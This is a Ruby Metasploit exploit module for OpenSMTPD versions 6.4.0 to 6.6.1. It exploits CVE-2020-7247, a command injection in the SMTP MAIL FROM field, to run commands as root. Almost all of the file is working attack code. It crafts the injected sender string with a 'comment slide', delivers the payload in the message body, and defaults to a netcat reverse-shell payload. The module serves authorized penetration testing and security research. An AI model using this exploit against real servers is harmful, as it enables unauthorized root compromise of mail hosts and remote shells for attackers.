141 lines
3.8 KiB
Ruby
141 lines
3.8 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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prepend Msf::Exploit::Remote::AutoCheck
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Expect
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'OpenSMTPD MAIL FROM Remote Code Execution',
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'Description' => %q{
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This module exploits a command injection in the MAIL FROM field during
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SMTP interaction with OpenSMTPD to execute a command as the root user.
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},
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'Author' => [
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'Qualys', # Discovery and PoC
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'wvu', # Module
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'RageLtMan <rageltman[at]sempervictus>' # Module
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],
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'References' => [
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['CVE', '2020-7247'],
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['EDB', '48051'], # raptor's LPE/RCE exploit
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['URL', 'https://seclists.org/oss-sec/2020/q1/40']
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],
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'DisclosureDate' => '2020-01-28',
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'License' => MSF_LICENSE,
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'Platform' => 'unix',
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'Arch' => ARCH_CMD,
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'Privileged' => true,
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'Targets' => [
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[
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'OpenSMTPD 6.4.0 - 6.6.1',
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{
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'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars
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}
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]
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],
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'DefaultTarget' => 0,
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'DefaultOptions' => {
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'PAYLOAD' => 'cmd/unix/reverse_netcat'
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},
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION],
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'SideEffects' => [IOC_IN_LOGS]
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}
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)
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)
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register_options([
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Opt::RPORT(25),
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OptString.new('RCPT_TO', [true, 'Valid mail recipient', 'root'])
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])
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register_advanced_options([
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OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
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])
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end
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def check
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connect
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res = sock.get_once
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return CheckCode::Unknown unless res
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return CheckCode::Detected if res =~ /^220.*ESMTP OpenSMTPD/
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CheckCode::Safe
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rescue EOFError, Rex::ConnectionError => e
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vprint_error(e.message)
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CheckCode::Unknown
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ensure
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disconnect
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end
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def exploit
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# We don't care who we are, so randomize it
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me = rand_text_alphanumeric(8..42)
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# Send mail to this valid recipient
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to = datastore['RCPT_TO']
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# "Comment slide" courtesy of Qualys - brilliant!
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rand_var = rand_text_alpha(1)
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iter = rand_text_alphanumeric(14).chars.join(' ')
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from = ";for #{rand_var} in #{iter};do read #{rand_var};done;sh;exit 0;"
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# Check against RFC 5321, even though OpenSMTPD is more permissive
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if from.length > 64
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print_warning('MAIL FROM field is greater than 64 chars')
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end
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# Check for badchars, even though there shouldn't be any
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if (badchars = (from.chars & target['MyBadChars'])).any?
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print_warning("MAIL FROM field has badchars: #{badchars}")
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end
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# Create the mail body with comment slide and payload
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body = "\r\n#{"#\r\n" * 14}#{payload.encoded}"
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sploit = {
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nil => /220.*OpenSMTPD/,
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"HELO #{me}" => /250.*pleased to meet you/,
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"MAIL FROM:<#{from}>" => /250.*Ok/,
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"RCPT TO:<#{to}>" => /250.*Recipient ok/,
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'DATA' => /354 Enter mail.*itself/,
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body => nil,
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'.' => /250.*Message accepted for delivery/,
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'QUIT' => /221.*Bye/
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}
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print_status('Connecting to OpenSMTPD')
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connect
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print_status('Saying hello and sending exploit')
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sploit.each do |line, pattern|
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send_expect(
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line,
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pattern,
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sock: sock,
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newline: "\r\n",
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timeout: datastore['ExpectTimeout']
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)
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end
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rescue Rex::ConnectionError => e
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fail_with(Failure::Unreachable, e.message)
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rescue Timeout::Error => e
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fail_with(Failure::TimeoutExpired, e.message)
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ensure
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disconnect
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end
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end
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